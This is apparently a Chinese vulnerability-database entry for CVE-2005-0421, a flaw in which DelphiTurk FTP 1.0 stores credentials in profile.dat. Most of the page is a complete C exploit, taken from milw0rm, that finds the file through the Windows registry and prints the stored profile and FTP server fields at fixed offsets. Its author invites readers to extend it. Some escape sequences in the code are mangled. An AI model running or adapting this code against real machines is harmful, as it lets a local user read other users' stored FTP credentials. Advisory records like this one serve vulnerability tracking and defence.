DelphiTurk FTP profile.dat权限提升漏洞

DelphiTurk FTP profile.dat权限提升漏洞

漏洞ID 1108448 漏洞类型 未知
发布时间 2005-02-09 更新时间 2005-04-27
图片[1]-DelphiTurk FTP profile.dat权限提升漏洞-安全小百科CVE编号 CVE-2005-0421
图片[2]-DelphiTurk FTP profile.dat权限提升漏洞-安全小百科CNNVD-ID CNNVD-200504-114
漏洞平台 Windows CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/803
https://www.securityfocus.com/bid/90262
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200504-114
|漏洞详情
DelphiTurkFTP1.0在profile.dat文件中存储用户名和密码,本地用户可借此获取权限。
|漏洞EXP
/*****************************************************************

DelphiTurk FTP v1.0 Local Exploit by Kozan

Application: DelphiTurk FTP v1.0
Procuder: Delphiturk.com and Delphikitabi.com
Vulnerable Description: DelphiTurk FTP v1.0 passwords to local users.


Coded by: Kozan
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com


*****************************************************************/

#include <stdio.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


char *bilgi_oku(int adres,int uzunluk)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\Microsoft\Windows\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE) prgfiles, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

RegCloseKey(hKey);

}else{
printf("An error occured!n");
exit(1);
}

strcat(prgfiles,"\DelphiTurk\Delphi T�rk FTP\profile.dat");

int i;
FILE *fp;
char ch[100];
if((fp=fopen(prgfiles,"rb")) == NULL)
{
return "false";
}
fseek(fp,adres,0);
for(i=0;i<uzunluk;i++)
ch[i]=getc(fp);
ch[i]=NULL;
fclose(fp);
return ch;
}



int main()
{

printf("rnrnDelphiTurk FTP v1.0 Local Exploit by Kozann");
printf("www.netmagister.com - www.spyinstructors.comrnrn");
printf("This example exploit only shows the first record.rn");
printf("You may improve it freely...rnrn");
printf("ProfileName : %sn",bilgi_oku(1,31));
printf("Ftp Server : %sn",bilgi_oku(32,51));
printf("Ftp Server : %sn",bilgi_oku(83,51));
printf("Ftp Server : %sn",bilgi_oku(134,51));


return 0;


}

// milw0rm.com [2005-02-09]
|受影响的产品
Delphiturk Delphiturk Ftp 1.0
|参考资料

来源:XF
名称:delphiturkcodebank-obtain-information(19248)
链接:http://xforce.iss.net/xforce/xfdb/19248
来源:SECTRACK
名称:1013139
链接:http://securitytracker.com/id?1013139

相关推荐: Ethereal Malformed SNMP Denial of Service Vulnerability

Ethereal Malformed SNMP Denial of Service Vulnerability 漏洞ID 1102441 漏洞类型 Input Validation Error 发布时间 2002-02-22 更新时间 2002-02-22 C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享